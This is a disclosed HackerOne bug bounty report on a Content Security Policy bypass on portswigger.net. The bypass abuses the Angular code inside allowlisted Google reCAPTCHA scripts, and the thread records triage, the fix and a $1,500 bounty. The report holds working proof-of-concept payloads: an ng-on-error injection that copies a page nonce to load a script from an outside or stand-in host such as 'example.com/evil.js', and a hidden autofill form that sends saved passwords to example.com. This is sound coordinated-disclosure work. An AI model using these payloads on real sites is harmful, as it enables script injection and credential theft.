Skip to main content  >
Hackerone logo
Hacktivity
Opportunities
Directory
Leaderboard
Learn more about HackerOne
Log in
#2279346
CSP bypass on PortSwigger.net using Google script resources
  • Share:
Summary by joaxcar
Read a full writeup of finding and reporting the bug here:
https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources
Timeline
joaxcar
Clear-verified badgeHacker that has completed both ID-verification and a background check.
joaxcar
submitted a report to PortSwigger Web Security.
December 9, 2023, 5:47pm UTC

Summary

Hi team! I read this blogpost again after playing with an Angular CSP bypass in this Twitter thread https://twitter.com/sudhanshur705/status/1732760081094091117
I found a way to load arbitrary scripts (escaping the restrictions of Angular) if the page uses nonce-based CSP.
As show in the Twitter thread https://www.google.com/recaptcha/about/js/main.min.js contains Angular, and your CSP allows the complete https://www.google.com/recaptcha/ URL
First of all this allows for simple JS execution, such as
Code 152 BytesUnwrap lines Copy Download
1<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script> 2<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>
this will pop an alert.
This allows for some JS execution, but eval and Function escalations from Angular will be blocked by the lack of unsafe-inline. I found that this can be bypassed when a site is using nonce based CSP like this
Code 212 BytesUnwrap lines Copy Download
1<img src=x ng-on-error=' 2w=$event.target.ownerDocument; 3a=w.defaultView.top.document.querySelector("[nonce]"); 4b=w.createElement("script"); 5b.src="//example.com/evil.js"; 6b.nonce=a.nonce; 7w.body.appendChild(b) 8'>

POC

  1. Go to https://portswigger.net/
  2. Open devtools and paste and execute this (replace //joaxcar.com/hack.js if you want)
Code 446 BytesUnwrap lines Copy Download
1document.getElementsByTagName("div")[0].innerHTML=`<iframe srcdoc="<div lang=en ng-app=application ng-csp class=ng-scope> 2<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script> 3<img src=x ng-on-error='w=$event.target.ownerDocument;a=w.defaultView.top.document.querySelector(&quot;[nonce]&quot;);b=w.createElement(&quot;script&quot;);b.src=&quot;//joaxcar.com/hack.js&quot;;b.nonce=a.nonce;w.body.appendChild(b)'> 4</div> 5">`
  1. See the popup, look at network tools and see that the script is loaded from

Impact

Just as in the blog, this is more of an in-depth defense. You need an HTML injection to pull this off. But as you asked us to send bypasses in
if you find something we missed, please report it to PortSwigger's bug-bounty program I do, however, understand if it is out of scope for rewards.
Have a nice one! Johan

Impact

CSP bypass using Angular JS
Johan Carlsson
Clear-verified badgeHacker that has completed both ID-verification and a background check.
joaxcar
 posted a comment. 
December 9, 2023, 6:14pm UTC
Just adding a note here, this bypass takes advantage of the script-src whitelist and nonce. If you would strictly use nonce you can add strict-dynamic in the script-src. This would disable the whitelist in browsers that support CSP v3 and block injecting the google domain in a script tag
Johan Carlsson
Clear-verified badgeHacker that has completed both ID-verification and a background check.
joaxcar
 posted a comment. 
December 9, 2023, 7:51pm UTC
The same bypass exists on
Code 54 BytesUnwrap lines Copy Download
1https://www.gstatic.com/recaptcha/about/js/main.min.js
Which is also whitelisted on portswigger.net
Gareth Heyes
ID-verifiedHacker that has successfully completed an ID verification check.
garethheyes
PortSwigger Web Security staff
 posted a comment. 
December 11, 2023, 8:33am UTC
Thanks for the report! I've confirmed this works with both script resources. I'll talk to our team to get this fixed.
garethheyes
PortSwigger Web Security staff
 changed the report title from CSP bypass using https://www.google.com/recaptcha/about/js/main.min.js that includes Angular to CSP bypass on PortSwigger.net using Google script resources. 
December 11, 2023, 9:28am UTC
garethheyes
PortSwigger Web Security staff
 updated the severity to medium. 
December 11, 2023, 9:30am UTC
garethheyes
PortSwigger Web Security staff
 changed the status to Triaged. 
December 11, 2023, 9:33am UTC
Gareth Heyes
ID-verifiedHacker that has successfully completed an ID verification check.
garethheyes
PortSwigger Web Security staff
 posted a comment. 
December 20, 2023, 11:56am UTC
Hey @joaxcar we've deployed a fix to production. It turns out we had a bad user agent detection which was detecting Chrome as Safari. This then meant strict-dynamic was not in the CSP when on Chrome. We've fixed this by always using strict-dynamic (now that Safari supports it) and we've removed the allow listed resource to Google which is now protected by nonce. Please let us know if you can find a bypass. Thanks.
Johan Carlsson
Clear-verified badgeHacker that has completed both ID-verification and a background check.
joaxcar
 posted a comment. 
December 20, 2023, 12:39pm UTC
Hi @garethheyes, it looks like it's working now. Also, thanks for the additional information. Interesting with the user agent.
As for a CSP, I do think it looks good. The only part that I see missing that I usually target if I can not escalate to XSS is the form-action CSP directive. A lot of pages forget about this one as it's not mentioned as a risk by https://csp-evaluator.withgoogle.com/. But as form-action does not fall back to default-src, forgetting to set it will allow forms to connect anywhere.
This can be abused by adding a login form that will autofill and potentially leak username and password. On Portswigger, this is particularly bad as you don't offer 2FA (i might have just missed it)

Test this like so:

  1. In Chrome, either use any form of password manager or go to chrome://password-manager/passwords and add a saved username and password for portswigger.net
  2. Go to https://portswigger.net
  3. Open devtools and run this
Code 173 BytesUnwrap lines Copy Download
1document.getElementsByTagName("div")[0].innerHTML=`<form action="//example.com"><input hidden name=user><input hidden type=password name=password><input type=submit></form>`
  1. Click the submit button (notice that the login fields are hidden; browsers allow this for some reason...)
  2. Your username and password will get sent to example.com
It's not as bad as an XSS bypass to CSP, but it could be a good thing to add if feasible.
Hope you all have a great Christmas and New Year!
Johan
Gareth Heyes
ID-verifiedHacker that has successfully completed an ID verification check.
garethheyes
PortSwigger Web Security staff
 posted a comment. 
December 20, 2023, 1:09pm UTC
@joaxcar Great point! I've used this myself to exploit Mastadon. https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp. I'll see if we can harden the CSP a little more.
PortSwigger Web Security
 rewarded joaxcar with a $1,000 bounty and a $500 bonus. 
January 3, 2024, 11:26am UTC
Thanks for the excellent report! We've added a bonus for the form-action vector.
Johan Carlsson
Clear-verified badgeHacker that has completed both ID-verification and a background check.
joaxcar
 posted a comment. 
January 17, 2024, 9:11am UTC
Thanks for the bounty here @garethheyes and @albinowax!
This is the first time I have reported CSP bypass on its own without an existing HTML injection. I don't expect this to be accepted in most programs, but I thought that it might be interesting enough for you as it's a subject that seems close to Gareth's heart.
Also, a big thanks for what you do for the community; Portswigger and you guys working there have taught me so much!
Would you mind disclosing this one when you are ready to close it off? /Johan
Gareth Heyes
ID-verifiedHacker that has successfully completed an ID verification check.
garethheyes
PortSwigger Web Security staff
 posted a comment. 
January 17, 2024, 9:21am UTC
@joaxcar This was a quality report and helped make our CSP stronger. Just gutted I missed it :). We're happy to disclose once the fix is deployed.
James Kettle
Clear-verified badgeHacker that has completed both ID-verification and a background check.
albinowax
PortSwigger Web Security staff
 closed the report and changed the status to Resolved. 
February 8, 2024, 9:16am UTC
We've got the second part of the fix in place now. Thanks again for the report! I'll disclose it momentarily.
albinowax
PortSwigger Web Security staff
 requested to disclose this report. 
February 8, 2024, 9:16am UTC
joaxcar
 agreed to disclose this report. 
February 18, 2024, 10:10pm UTC
 This report has been disclosed. 
February 18, 2024, 10:10pm UTC
Reported on
December 9, 2023, 5:47pm UTC
Reported by
joaxcar
joaxcar
Reported to
PortSwigger Web Security
Participants
joaxcar
albinowax
garethheyes
Report Id
#2279346
Resolved
Severity
Medium (4 ~ 6.9)

Disclosed
February 18, 2024, 10:10pm UTC
Weakness
Cross-site Scripting (XSS) - Reflected
CVE ID
None

Bounty
$1,500

Account details
None